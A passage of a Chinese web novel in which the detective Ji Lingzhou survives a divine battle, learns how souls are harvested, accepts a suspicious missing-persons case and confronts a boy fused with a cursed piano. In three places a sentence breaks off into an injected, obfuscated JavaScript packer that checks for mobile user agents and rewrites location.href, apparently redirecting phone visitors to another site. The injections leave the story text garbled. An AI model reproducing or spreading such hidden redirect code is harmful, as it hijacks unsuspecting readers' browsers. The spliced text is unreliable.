但凋零诗人不知道,虚空的另一侧,由雾气构成的神国里,某个伟大存在视线在同一时间投了过来。 就在刚才,黑暗丰穰感受到失去联系的那个投影。 化身的状态似乎很不妙,虚弱无力,而且处在巨大的威胁中。 祂还闻到了虫子的臭味儿,那头愚蠢的食腐生物正在觊觎自己的投影。 不可以。 祂决不允许这样的挑衅发生,即便那只是一种可能。 五颜六色的雾气瞬间沸腾,不计其数的雾气触须剧烈抖动。然后,其中最纤细柔弱的一根触须,长约几万里的那根刺穿了虚空。 它消失了。 出现在季泠州头上,替他挡下了那致命一咬。 凋零诗人看得目瞪口呆,他的信仰在一刹那间被动摇了,他看到了什么? 啃咬世界之根的巨虫,伟大的狂乱之喉被挡住了。 虫口和触须僵持在季泠州头上。 他无奈地耸耸肩。本以为会是夜莺、塔洛斯或其他正义高阶超凡者前来救场。 没想到来的是老熟人黑暗丰穰。 这就像把灯泡塞进嘴里拿不出后,急急匆匆赶去医院,却愕然发现坐诊的医生掏出了一片二向箔。 没等病人拒绝,医生就拆开了封装力场,笑着介绍:“只要把你嘴里的灯泡二维化,就能取出来了。” 神祇间的战斗枯燥而乏味。 或许在同位阶的存在的观察视角里,能看到更多细节,能品出惊险刺激、生动精彩。 但在季泠州和凋零诗人这样的凡人看来,就是雾气触须勒住无目巨虫,然后巨虫大嘴一张,吱呀呀叫着啃咬触须。 拉扯了一会,二者一起消失不见,原地只留下一块透明晶体。 “鉴定”视角里是这样: 【???:@#%#%*&……%%*%¥#@】 位阶太高,季泠州的灵性不足以解读这样的存在,但不影响他将结晶揣进兜里。 凋零诗人仍然愣在原地,像个理智被清空的傻子。 邪神的信徒就是这样,顽固、执拗地相信自己幻想出来的一切,容不得半点不符。 否则,就会…… 凋零诗人的头转向季泠州,他笑了,露出白森森的牙齿,然后大步跑起来。 季泠州慌忙地跳上杂物堆。他很慌张,但全然没有对危险的恐惧,而是对某种可怕存在的畏惧。 他能看到,凋零诗人像被加热的蜡像一样,在迅速融化。 男人挺拔的鼻梁塌了下来、牙齿溶解在牙床里,柔顺的淡金色头发滴进流淌的翠绿色晚礼服。 凋零诗人彻底失去了人形,像个移动的彩色口袋。 啊啊啊!你不要过来呀! “嘭!”水泡炸裂在季泠州身上。 他浑身都被凋零诗人融化的液体浇湿,空气中弥漫着怪异的香气。 这就是凡人直视神祇的代价,他们会在瞬间畸变,而自身却毫无察觉。 月上中天,夜风吹拂。 季泠州冷得打了个哆嗦,掏出【安心钥匙】,再次打开天台的门。 温暖的灯光倾泻而出,彼方嫌弃地递来一块大浴巾。 他需要洗个澡。 立刻,马上。 …… 急促的敲门声响起。 确认过门后的存在是人,不是蠕行者后,彼方打开了门。 入目的是一株移动的绿色植物。 是艾希莉抱着个花盆,上半身被挡了个严实,她跌跌撞撞地穿过门厅。 花盆里长着颗巨大的重瓣向日葵,粗壮的枝丫上结了好几个沉甸甸的花盘,很是漂亮。 “哦?亲爱的艾希莉小姐,你洗劫了市政厅的花箱吗?”季泠州站起身,接过花盆。 艾希莉累得直喘气,说话断断续续的:“不。是我自己种的…送给你,庆祝你…大病初愈。” “谢谢。”他很是惊讶,在这个连化肥都没有的国度,想栽培出这样一株植物可不容易。 看来艾希莉很有农学天赋。 艾希莉喘匀气,从花盆里掏出个纸盒。 “市政厅门口新开了一家快餐店,买的人很多。”盒子里是馅料满到溢出来的脆玉米饼。 看起来味道不错,有点像塔可。季泠州仔细地打量着食物,甚至动用了“鉴定”。 他始终无法忘记杨梅酒的教训。 【美味夹馅玉米饼:好吃的食物。备注:我劝你快点拿一个,趁热塞进嘴里!】 饼皮酥脆,鲜嫩多汁的肉馅浸在辣酱里,一口下去整个人都活过来了。 今天的一切就像一场梦,迷离斑驳。亦或说,自祭坛醒来后都一切都像是一场梦。 他被强塞进不属于自己的世界,赤手空拳的和那些扭曲的存在对抗,然后被揍得伤痕累累。 就像给鱼披上翼装飞行服,然后将它一脚踹下天门山,妄图让它学会飞行。 直到握住这个玉米脆饼,他才惊觉世界真实起来。 季泠州大口地吃玉米脆饼,会客厅只剩下咀嚼声,和玻璃杯碰撞的声音。 感谢那个越来越聪明的方块大家伙,它贴心地为两人倒了苹果酒。 吃到差不多,艾希莉咽下嘴里的食物,忽然开口: “季,你能想象吗?我的顶头上司玛德琳夫人几乎要将整个办公室的工作安排给我了。” 季泠州点头,深感同情。 “我以为我要得到重用了,整整一周忙到脚后跟打后脑勺。直到今天我才知道,玛德琳夫人的侄子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看到季泠州上楼,被吓了一跳,刚想开口,又看到了艾希莉,迅速闭上了嘴。 “这位是赫尔曼先生的朋友,就是她委托我寻人的。”他解释了一句。 艾希莉早已泪流满面,大步冲过去,双手按住赫尔曼的肩膀用力摇晃: “赫尔曼,你去哪了?我还以为你死了。” 赫尔曼的手很稳,不愧是经过异对司训练的探员,在这样大幅度的摇摆中,依旧能稳稳地把食物塞进嘴里。 季泠州拦住艾希莉:“没用,他不太对劲,似乎是遭遇了某种超凡伤害。” 艾希莉擦掉眼泪,故作坚强,问:“好,我知道了。该怎么救他?” 季泠州摇头:“我不知道,但我请了知道的人来。” 楼下,响起敲门声。 带着面具的白袍主教出现在楼梯口。 艾希莉看到他衣服上的亡月神徽,连忙鞠躬致意。她从未想到,季泠州能认识这样的大人物。 “哦,艾希莉,好久不见。你还是那么漂亮!”梅特伦摘下面具,笑嘻嘻地说。 跳过和上午一样的解释过程。 梅特伦的动作快而精准,他掰开赫尔曼的眼睑,又抬起他的脚踝看了看脚底,给出结论: “他的灵魂消失了,我建议给他一个痛快。你们下不去手,我可以代劳。” 希莉的手指死死抵在唇上,把呜咽压成一声短促的抽气。 季泠州沉默了片刻,问:“如果找到灵魂呢?” 梅特伦摇头,细心给两人解释。 30.死兆星大盛 梅特伦十指交叉,语气故作庄严: “接下来我要说的,若是被普通人知晓。呵,恐怕会引发不小的骚动。当然,即便你们指认我,我也绝不会承认。” 这位前文书越发有神棍的气质了。 “说重点。”季泠州打断他。 艾希莉有些困惑——她并非超凡者,按理属于梅特伦所说的“普通人”,不过这并不妨碍她的好奇心,她也同样想知道真相。 梅特伦:“你们认为组成一个人最重要的东西是什么?” 季泠州:“财富?” 艾希莉:“成就?” 梅特伦面无表情:“你们能成为朋友,还是有点说法在里面的。” 他举起臂弯里抱着的权杖在墙上刻画,白灰簌簌落下,一个小人的图案出现了,解释道:“是灵魂。” “一个人过往的一切,经历、学识、情感共同构成了这个人,而这一切借助灵性储存在身体里。 “而灵性是可以被掠夺的,能用来支付使用异常物的代价。 “从普通人的血肉里榨取灵魂损耗极大,而超凡者的灵性会自然地向灵魂聚集,只要抽出灵魂,就能……”他掏出钱袋,轻轻拍打了一下。 季泠州脊背窜过一丝寒意,在脑中迅速将线索串联。 一切困惑的地方都被解开了。 为什么这个世界的人一言不合就举行献祭仪式,为什么那么多人狂热地信奉神。 凡人无法调动灵性、使用超凡,但只要支付差价,就可以让神代为操作。 没有虔诚、没有信仰,只有血淋淋的利益和欲望。 梅特伦话锋一转:“当然,吾主亡月和那些势利的神不同。亡月欣赏艺术和戏剧,只要有乐子看,祂不介意倒贴灵性。” 他一双银瞳充满了圣洁,终于想起来自己是某个神的信徒了。 艾希莉不自觉地后退半步,手指攥紧了裙摆,看起来有些魂不守舍。 “喂!在想什么呢?思考该如何加入亡月教会吗?找我就可以办理哦。”梅特伦笑眯眯地戳了她一下。 “啊!我……我只是突然想起还有报告没写完。”她匆忙避开梅特伦的视线,慌慌张张解释,提出要告辞离开。 梅特伦:“啧啧啧,真是辛苦。” 季泠州叫住她:“抱歉,可以帮我照顾一下安妮吗?我不太方便。” 《民法典》规定,无配偶者收养异性子女,收养人与被收养人的年龄应当相差 40周岁以上。 虽然他身在异界,但依旧是个遵纪守法的好青年。 艾希莉点点头:“可以。” 安妮神色复杂地看了季泠州一眼。 “我已经有了你的全家福照片,如果遇到你的哥哥、母亲或父亲,我会留意的。”季泠州比了个“OK”的手势,说。 安妮看不懂,但大感宽慰,顺从地跟着艾希莉离开了。 最近蠕行者的侵扰越加频繁,季泠州索性送她们到家门口。 等他再次回家,梅特伦一边吃剩下的玉米脆饼,一边和彼方玩飞行棋。 “你的房子水平还不错,我真想把亡月的神殿也改造一下。”看到季泠州,他耸耸肩,问:“怎么半天不见,你就用掉了一份神术?” “遇到个用双剑的疯子,追着我砍,没跑掉只好挨了几下。” “我能看到,死亡的阴影笼罩住了你,你不妨去看看【苍白挽歌】,有惊喜。” 季泠州依言,走到会客厅角落,将搭在雕塑上的衣服拿下来。 对一个地球人而言,万物皆可为衣架。一个等人高的诡异雕塑更是搭衣服的首选。 【苍白挽歌】上,人脸上雕刻的轻纱变了形态,被拉下来大半,露出上半张脸来。 剑眉星目,鼻梁挺拔,好看得不得了。 但季泠州完全无心欣赏。 因为这张脸他很熟悉,每天早上洗漱时,都能在盥洗室的镜子里看到。 这一切,是什么时候开始的?他全然不知。 他的嘴有些发干。 沉默了许久,他才用干涩的声音问:“如果轻纱彻底消失露出人脸,会怎样?” 梅特伦苦笑:“不知道。或者说,所有知道的人都失踪了。教会的记录里,上一个坚持到雕塑轻纱落下一半的,是个半神。 “祂留下记载后,在几天后的一场意外中被卷入旧神战斗,被打得尸骨无存。 “厄运就是这样,因人而异。即便是半神,也无法幸免。 “但乐观一点,你现在享受的可是半神级的厄运,普通人想都想不到。” 还真是个好消息,季泠州礼貌地请梅特伦从大门离开。大主教还顺便带走了赫尔曼,在不确定敌人的情况下,异对司和侦探协会都不可信。 房间再次恢复了寂静,让刚适应了喧闹的季泠州有些不适应。 或许人生就是一场孤独的旅行,而他的目的地则得特别远,在另一个世界。 他端起彼方泡的茶,准备喝一口。就在这时,天花板掉下一块墙皮砸进杯子里,溅起的热水刚好飞进眼里。 嘶—— 季泠州疼得吸了口冷气,却一动不动。他深知在一件意外周围,往往隐藏着更多即将触发的意外。 此刻,最重要的事只有一件。 他掏出口袋里的【篡命骰子】,开始投。 1点。 3点。 2点。 4点。 3点。 6点。 在消耗掉两颗骰子后,他终于将自己的运气重置为最佳。 这就是季泠州以二阶的力量硬抗厄运的原因,他每天遇到困难时,就会用骰子修改运气。 然而情况明显在恶化。 起初只要两三次就能投出 6点,随着厄运加深,他的运气被恒定在3点以下。 就像今天,一连投了7次才出来 6点。 分解过仪式之书残页后,他每天能制作3个骰子。 此消彼长,终有一天会入不敷出,然后死于厄运。 “彼方,把夜莺送来的书搬来,我连夜看。” 他打了个哈欠,决定连夜苦读,试着在《天命皇帝传记》和《洛萨兰异常物大全》里寻找一条活路。 无论是找到回家的办法,还是寻到一件能延长生命的异常物都极好。 …… “咚咚咚。”似乎有人在敲门。 季泠州在半梦半醒中翻了个身,裹着毯子掉到了地上。 他恍惚地睁开眼,灰尘在淡金色的阳光中漂浮,已经是早上了。 昨晚看书到太晚,不知不觉地睡着了。 “咚、咚咚。”敲门的人换了个节奏。 他一跃而起,大致整理了一下仪容,打开大门。 “请问是侦探协会的季泠州侦探吗?”门廊上,站着一个衣着朴素的女士。她穿着老气的黑色长裙,一头花白的头发整齐地在脑后挽了个纂。 季泠州点头。 “我是玛莲娜·阿兰,想委托您代为寻找家人。”阿兰女士提着裙角,行了个礼。 季泠州请她进来。阿兰是个很少见的姓氏,总觉得在哪里听过。 “等等,您的家是不是在贝克街14号?”他问。这或许是赫尔曼后遗症,让人们觉得他很擅长寻回被证明去世的人。 阿兰夫人发白的指节攥紧裙子,她语速极快:“您也听到那些传闻了?说我家闹鬼,还害死了一个中介。” 季泠州笑着摇头:“这倒是没有。只是我也是豪斯先生的客户,他带我看过您家的房子。” 他安排阿兰夫人在会客厅坐下,转身去厨房取彼方烧好的茶,心中思索如何在不伤害她情感的情况下,推掉这件委托。 他没注意到,阿兰夫人掏出一面小镜子,检查自己的头发是否整齐。 片刻后,他听完阿兰夫人的叙述,露出个遗憾的表情: “抱歉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299995|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只是刚入行的侦探。暂时只接抓猫、调查婚外情这类委托。我们协会有许多优秀的侦探,我可以介绍给你。” 阿兰夫人长长叹了口气:“果然如此,是怀恩先生介绍我来的,他说你很擅长寻人。” 有意思,艾希莉也是怀恩先生介绍来的。这位素未谋面的经理,倒是很了解自己。 季泠州决定,下一个调查目标就是怀恩。 “抱歉,我做不到。”他再次婉拒。 阿兰夫人掏出个天鹅绒盒子:“加上这个呢?神物【浮世之冕】的线索。” 季泠州拒绝的话卡在嘴边,说不下去了。 几乎每个涅伽拉德人都知道这件神物,它是法雷尔家族的至宝,在一百多年前丢失了。 传闻,三百年前,筑城者哥伦布·法雷尔乘船来到新大陆,开始修建涅伽拉德城,为了改变海民食用同族人肉的习俗,他修建了大量亡月神殿。 亡月在涅伽拉德建好的那日,显圣于人世赐下了这件神物。 【浮世之冕】也被称为“永生冠冕”,传闻只要佩戴它,就可以获得亡月眷顾,永生不死。 这恰是季泠州需要的,虽然他严重怀疑一个拥有“死亡”权柄的神,是否会赐给凡人逃避死亡的神物打自己的脸。 只是,这一切真是太巧了!巧得像一个环环相扣的阴谋。 季泠州挑挑眉毛:“哦?夫人您该如何证明呢?” 阿兰夫人打开盒子,露出里面的红宝石。这是颗血一样的宝石,在阳光下熠熠生辉。 等等,季泠州睁大眼睛。他发现宝石内部似乎有液体在流动,是血。 阿兰夫人用手按在胸口: “我愿向亡月起誓,这颗血契宝石是我去世的父亲迪伦·阿兰和法雷尔家族的上代族长结契时形成的。 “你若是愿意帮我寻找家人,我就将这块宝石给你。” 日光消失了,取而代之的是银色的月辉。这是亡月见证誓约的表现,通常需要起誓者支付一年的寿命。 这下,容不得季泠州拒绝了。 “你的父亲,莫非是背誓者迪伦?”传闻中,背誓者是一位高阶超凡者,应邀来法雷尔家族做客,却带着财宝消失了。 “我父亲是被害的,我亲眼看见……”她的声音突然飘忽起来,瞳孔微微扩散,仿佛回忆起某个遥远又恐怖的经历。 话音渐低,她的眼神变得迷茫、恍惚。 阿兰夫人使劲儿摇了摇头,浮起一个不好意思的笑:“抱歉。我岁数大了,总是会不由自主地睡着。季先生,你是否愿意接下委托?” 毫无疑问,她不对劲儿。 季泠州不动声色地往旁边挪了一步,用沙发背挡住自己。 他斟酌一番,开口道:“阿兰夫人,不知你是否认识一个叫迪伦的人,传闻只有他知道【浮世之冕】的下落。” 阿兰夫人眼神闪了闪,摇头道:“抱歉。我不认识,但我说得都是真的,请您相信我。” 季泠州叹了口气,阿兰夫人的记忆明显被修改过。但看样子修改的手法很高明,他打探不到更多细节。 “我接了。这里是合同,你核对一下没问题就签字吧。”他干脆地掏出协会免费送的委托合同,抽出一式两份给她。 合同上有天平纹路的钢戳,是被绝对天平祝福过的证明,一旦签订就无法违背。委托可以失败,但必须尽心尽力。 阿兰夫人眼中闪过欣喜,几乎是抢过钢笔,一眼没看合同内容,便匆匆签下了自己的名字。 “我希望你今天就能开始调查,这是我家的钥匙。”她将一串钥匙塞进季泠州的手心。 还挺着急的,他接过钥匙。 阿兰夫人匆匆忙忙地走了,他看着她的背影消失在街道尽头。 季泠州陷入了沉思,陷阱会藏在哪里呢?这是个阳谋,但他不得不踏进去。 事不宜迟,他收好钥匙与盒子,走到街边叫了辆马车,径直赶往侦探协会。 31.午夜钟声 薄雾弥漫,一眼望去整条街都笼罩在朦胧之中。 夜色将至。 季泠州站在阿兰家宅子门口,周围行人看到他,纷纷移开目光,然后加快脚步从十几米外绕开。 这栋上岁数的房子,似乎比街上其他建筑都更暗,漆黑的门洞散发着阴森气息。 任何一个有理智的人,都不会进入这栋可疑的建筑。即便迫不得已,也会选在正午,以便借阳光驱散心中的畏惧。 季泠州偏不。 对于猎物而言,踏进捕兽夹难道还要挑日子吗? 自然是,随心所欲。 看看表,刚好是傍晚六点钟。他一把推开大门,大步走进去。 周围的一切和上次来时没什么两样,只是厨房门口的地上多了片阴影。 他弯腰捡起,是个笔记本。 上面落了一层薄灰,翻开后扉页上画着一家三口的卡通画,里面用整齐的字迹记录着日常。 5.16日安妮考了班级第一,温蒂高兴地不得了,烤了南瓜派庆祝。 5.29日海文区的科尔先生求租房屋,要求离纺织厂步行时间在一小时内(备注:他是维修工程师)。 6.13日因为阿兰家的宅子租不出去,上半年奖金取消了。我必须得更努力,我决定向每一个客户介绍这栋房子。 …… 季泠州脑海里浮现出那个热心爱笑的秃头男人,心里沉甸甸的。 他清楚记得,最后一次见到豪斯是在石头小屋——那个秃顶男人正指挥同事搬运家具,手里还不时翻看这本笔记。。 如今豪斯失踪不见,唯独将贴身物品落在这里。想来扉页的画是安妮画的,自己该如何向她解释? 他叹了口气,拍掉本子上的灰,将它小心收进口袋。 季泠州掏出一大块软木擦子,这是他从塔洛斯那“借”来的,能清除灵性颜料。 就比如壁纸下面那片让人毛骨悚然的涂鸦人像。 这是海民的巫术,用被诅咒的画笔,将人画在他们日常生活的地方。时间久了,被画下的人就会精神恍惚、受伤生病,直至死亡。 不知道豪斯怎么得罪了海民。 他一把撕下壁纸,擦拭的动作骤然停住——墙上斑驳发黄的痕迹下,密密麻麻的人像自下而上蔓延开来。 一瞬间,像是站在大礼堂讲台上,他感受到墙面射来无数视线盯着自己看。 他愣怔的瞬间,有人轻轻拍了拍他的肩膀。 季泠州的头皮炸了,他猛地转身,同时拔出了【高光】。 身后空无一人。 门厅和大门消失不见,取而代之的是一面挂着肖像画的墙壁。 他警惕地环顾四周,只见身处在一条明亮的走廊里,脚下铺着厚实的羊毛地毯,两侧错落有致的摆着盔甲、花卉和雕塑。 他的身体绷得紧紧的,提防可能出现的攻击。然而周围一片宁静,让他这如临大敌的样子显得有些好笑。 在“鉴定”视角里,周围也没什么问题。 【走廊:如你所见,这是条走廊。备注:小心不要碰坏任何东西!这里任意一件艺术品,十个你加起来也赔不起。】 季泠州沉思了几秒,开始在心里默诵已知神的名字,检查自己是否多出了额外的信仰。接着,他又花了五分钟核对记录,对照记忆是否出了错误。 一切都是那么正常。 这就是最大的不正常。 他掏出一颗大蒜放在地上,然后将一枚游戏币塞进去,口中低诵:“吾以季泠州之名,扭曲凡世仪轨,于界之缺漏处,召不属于此世之权能。” 话音落下的瞬间,游戏币消失不见,大蒜化作蒜粉飘到他身上,防护仪式成功了。 他身上多出一层无形的屏障,在仪式效果持续期间,常规攻击无法伤害到他。 这是【季泠州的仪式之书】上记载的仪式——扭曲的万相赋能仪轨。名字很绕口,他更喜欢称它为“叠buff”。 常规的防护仪式需要金刚石作为媒介,施展一次价格不菲。 而经过仪式之书扭曲后,季泠州只需要一枚游戏币,加上他认知里能加防御的物品作为媒介就可以施展。 这个认知范围很宽,包括了他前世读过的小说、游戏。总之是放在原住民身上用处不大,但交给穿越者就能玩出花来。 唯一的缺点是一个月内,相同的媒介只能使用一次。 不过没关系,他还准备了其他的,比如一种很像铠甲草的野草、甲虫、黑曜石碎片。 它们加起来的价格,比不上金刚石的零头。 安全了许多的季泠州并没有擅自行动,而是再次打量周围。 左手边和右手边各有两排门,从外观上看一模一样,都是深色胡桃木带鎏金门把手。 门后面非常安静,似乎里面并没有人。 他想,自己作为穿越者,多少算是主角,应当不会轻易死去。于是,他当机立断敲了敲门。 依旧安静。 季泠州举起【高光】,朝着锁用力劈下。 一下、两下、三下,大概是没有观众的缘故,【高光】提供的加持很弱。 他将破破烂烂的门推开,里面是一间客房。 很中规中矩的房间,唯一的亮点是有扇落地窗。 狭长的窗玻璃外,是一望无际的深蓝色大海。他身处的建筑坐落在海边,看不到成片陆地。 将房间仔仔细细搜查一遍毫无所获后,他朝旁边的房间而去。 就在这时,钟声响起。 走廊的另一头起风了,伴随着轰隆隆的声音,让人本能地产生危机感。 就在这时,一个穿着深蓝色外套的中年男人凭空出现在他身前五六米的地方,手里还拿着串钥匙。 男人原本满脸惊慌,看到季泠州后喜悦地冲他招手。 下一秒,男人脸上劫后余生的笑凝固了。整个人像被钢卷碾过,五官渗出血液,身体变成一个装肉糜的口袋,瘫软在地。 巨大的危机感攫住了季泠州的心。 危险! 他转头朝着反方向狂奔,那阵无形之风没有沿走廊继续前进,反而是拐进了被打开的那间客房。 房门内响起爆豆似的脆响,房间里的一切被压成齑粉。 他的大长腿跑得很快,但走廊本身不长,没花多少时间他就跑到了走廊尽头的落地窗前。 风又开始移动了,他犹豫着是否该跳出去。 身侧,一扇紧闭的房门被推开。 门缝中露出一双眼睛,一个男孩无声地招了招手,动作轻得像在躲避什么危险。 风在加速。 扑面而来的气流吹得人睁不开眼睛,几乎没有思索,他飞速钻进去,然后用力合上了门。 房间里,男孩躲在一架三角钢琴下冲他急切地摆手。 季泠州握着【高光】,一个漂亮的滑铲钻到钢琴底下,趴在男孩旁边。 下一秒,震耳欲聋的巨响从门后传来,震得房间里簌簌掉灰。 完整的门只挡了那东西十几秒后,便被巨力撞成碎片。它如龙卷风般,绕着钢琴转圈,像是在寻找什么。 但随着十二下钟声响完最后一声,轰隆隆的声音戛然而止。 男孩指指外面,示意可以出去了。 季泠州大口喘着气,后背衬衣湿透,整个人如同从水里捞出来一般。 他的耳朵被震得嗡嗡响,短短片刻,就在生死边缘走了个来回。 劫后余生的他这才有时间打量周围。 这是间干净整洁的琴室,房间的一侧是整面墙的书架,摆满了和音乐有关的书籍。 另一侧放着一组沙发和摆着小食的茶几。 男孩身上穿着深黑色的正装,一副少年老成的样子。 他指指沙发,示意让季泠州坐下:“响起钟声时,走廊里会出现怪物,最好躲开。我叫马利安,你是新来的吗?” 马利安话里的信息很多,似乎这个孩子见过不少和自己一样出现在这幢建筑里的人,兴许里面就有豪斯或赫尔曼。 他抬起左腕看时间,时针正指向十二点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304418|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可他分明记得,上一次看表就在几分钟前,刚好六点整。 太奇怪了! 或许,这个孩子是突破口,他也的确该感谢马利安。 季泠州从口袋里掏出一块软糖递给他:“是的。我也不知道为什么就走到那条走廊了,多谢你救我。” “肯定是迷路了的,大人都很忙,也不爱看路。”马利安接过软糖,拆开糖纸捏了捏,“咦?是赫梯的玫瑰软糖!我喜欢吃这个。” “可是,父亲说给小孩子糖的成年人都是坏蛋。”马利安愁眉苦脸地说。 季泠州沉默片刻,掰下半块糖放入口中,朝马利安微微点头。 马利安迫不及待地将剩下的糖塞进嘴里,大口大口地咀嚼。 “真好吃。”他嘴里含糊不清地说。 看着他享受的样子,季泠州若有所思。 涅伽拉德有很多售卖玫瑰软糖的商店,即便是平民家的孩子也能吃到。而马利安衣着精致,不像吃不起糖的样子。 那只有两种解释,一是他家里不让吃糖,二是他被困在这里许久了。 季泠州观察过茶几上的小食,只有饼干和茶。 “除了我,你还见过其他人吗?” 马利安吃了糖,心情明显好很多,话也多起来。 “有好多呀。”马利安掰着手指,“有和你一样长得好看的,我就叫他们躲起来。也有长得很凶的人,我不理他们,后来就不见了。” “被怪物抓走了?”季泠州不有地想起惨死的蓝衣男人,如果没记错,他是豪斯的同事,名字是罗索。 “怪物?什么怪物?”马利安疑惑地仰起头,“外面有那么多护卫,怎么会有怪物呢?大哥哥你看骑士小说看多了吧。” 季泠州确定,自己的糖不是失忆软糖。 “哈!我吓唬你的!”他顺势做了个鬼脸,“你在这里多久了?” “父亲让我在这里等他。”马利安低头捏着衣角,“他说要去见朋友,不能带我,已经很久了。” “哦?你父亲叫什么,或许我还认识呢。” “迪伦·阿兰,你肯定听过。他是一个厉害的超凡者,我以后也会成为超凡者。”马利安拍着胸口,语气骄傲。 季泠州心中震惊,这不是阿兰夫人父亲的名字吗?看她的外表,起码有五六十岁,眼前的这个小孩儿,难道是她的弟弟? 随即,他又想到另一种可能。 “你父亲今年多大了?” “你问这些做什么?我父亲不需要新的妻子,他有我一个孩子就够了。”马利安神色警惕。 季泠州有些尴尬,他实在不擅长哄小孩,但好在还是知道了想要的信息。 “我是初级学校的老师,忍不住想考你一些关于年龄的数学题。”他随意编了个借口。 “我可以开门吗?”他问。 马利安点点头,他的嘴抿得紧紧的,不愿再和季泠州说一句话。 季泠州打开门,随意将一个杯子放在走廊里,然后回到沙发上,闭目小憩。 马利安则坐到钢琴前面,有一下没一下地弹着。 他注意到,这个孩子似乎很有音乐天赋,弹出的曲子悠扬动听。 时间就这样一分一秒过去了。 钟声再度敲响时,门外的轰鸣如约而至。季泠州侧耳倾听。 这一次声音持续时间很短,大概是一点的钟声只敲一下的原因。 那东西甚至都没闯进房间。 季泠州刚想从钢琴下面爬出来,出门查看杯子的情况,身边的马利安忽然叫住了他。 “大哥哥,你是不是在测试那怪物的规律?等你弄明白了,就会离开马利安吗?像父亲一样。”孩子的声音幽幽的。 他望着马利安期待的眼神,整理了一下思绪: “一直待在这里很危险,万一那怪物能钻进钢琴下面呢?放心,我会带你一起离开的。” 马利安缓缓转过头,咧嘴一笑:“你说的怪物,是这样的吗?” 季泠州感到,有东西在拍了拍自己的背。 32.灰雾、寄居蟹和垃圾话 季泠州仍旧维持着原姿势趴在原地,甚至因为无聊打了个哈欠。 马利安的瞳孔放大,几乎要撑破眼眶。 他眨着纯黑的眼睛,困惑地问:“你不害怕吗?” 季泠州微微一笑:“怕什么?”余光能看到,马利安的身体从钢琴里探出来,像某种巨大的寄居蟹。 “鉴定”则提示: 【异化钢琴:迷失的灵魂和这架钢琴融为一体。备注:它什么都吃!】 这就是藏在钢琴下面能躲避危险的原因——钢琴本身就是异常物,是危险之一。 “走开!”马利安的声音里带着孩童任性的尖锐,又混合着某种非人的嘶哑,“我不和你玩!你走!” 他的身体开始不安分地扭动,与钢琴相连的部位皮肉蠕动,如同沸腾的沥青。 随即,无数细长、色泽深暗的触手无声地蔓延开来,在空气中缓缓摇曳。 它们如海草般漂浮,触手顶端不时裂开,露出七鳃鳗一样的口器,其中细密的牙齿碰撞,发出清脆的响声。 季泠州摇头:“我喜欢你呀!” 马利安纯黑的眼眸瞪得滚圆,腮帮子明显鼓了起来,他狠狠地别过头,从鼻腔里发出一声冷哼。 季泠州提起的心放下来,自己猜对了,马利安无法攻击钢琴下的存在,在下次钟声响起前,只要躲在这里就能确保安全。 钟声是怪物转化的开关。 一小时前,马利安诱惑他进来,大抵是想吃顿新鲜热乎的。 房间里的小食没有动过的痕迹,很明显这个孩子有其他食物。 但随着钟声响起,他怪物的一面被强行切换。 于是,他和马利安安然无恙地共处了一个小时,直到钟声再次响起。 既然一时半会死不了,那季泠州必须得皮一皮了。 “你腰上长了好多紫色的、粗粗的东西,看起来材质特殊,活动频繁。”季泠州用学术探讨般的口吻,目光扫过那些触手, “它们容易打结吗?或许你需要一些专业的护理工具,比如定制的梳子。” 他伸手比划梳子齿间该有的距离。 小男孩维持扭头的动作,不看季泠州。 “马利安,你给我讲讲你都吃过多少人?”季泠州换上了一副诚恳求教的表情,像个二十岁的好奇宝宝。 “我没吃过人。你给我讲讲,如果你不小心咬到大肠,会在嘴里爆浆吗?” 季泠州的语气一本正经。 马利安的身体微微发抖,似乎在压抑怒气。 季泠州没放过他,再次开口: “抱歉!我忘了。你的嘴都长在触手上了,也许你只能吮吸食物。” “我注意到房间里没有纸巾、也没有手帕,以你的进食方式,如何确保效率与…呃,整洁?” 马利安猛地转回头,那双纯黑的眼睛仿佛变成了吸光的黑洞,深邃冰冷。 他死死盯住季泠州,每一个字都像从牙缝里挤出来,裹挟着浓烈的恶意: “你将会是我吃的第一个活人。我从下面开始,把你一寸寸咬碎,慢慢地全部吃掉。” 季泠州不为所动,夸张地咂舌: “从脚开始?”季泠州挑眉,“真是独特的‘品味’。这种偏好,也是你家族传承的一部分吗?” 在持续的垃圾话攻势下,马利安的愤怒终于冲毁了理智。 三角钢琴剧烈摇晃,三条纤细的木头腿抖动着开始挪动,试图爬到旁边远离季泠州。 室内的光线毫无征兆地黯淡。 以那架三角钢琴为核心,粘稠如液体的淡灰色雾气无声渗出,像有生命一般流淌、扩散,转眼间便将整个房间浸染成一片朦胧诡异的灰白领域。 马利安的意图很明显,这个神憎鬼厌的家伙不动,他动。等挪到合适的角度,就可以狠狠咬季泠州一口。 果然是小孩子!即使个头比所有孩子都大,想法却依旧单纯。 季泠州在心里卡着点。 马利安操控钢琴底座挪出去半米,当脸上再次浮起狰狞的笑时,他准备扑来。 季泠州在他的眼皮子底下翻了个身,好巧不巧地重新滚到了钢琴下面。 “啊——” 马利安嘴里发出凄厉的叫声,窗玻璃被震得裂成碎片,从窗框里掉下来散了一地。 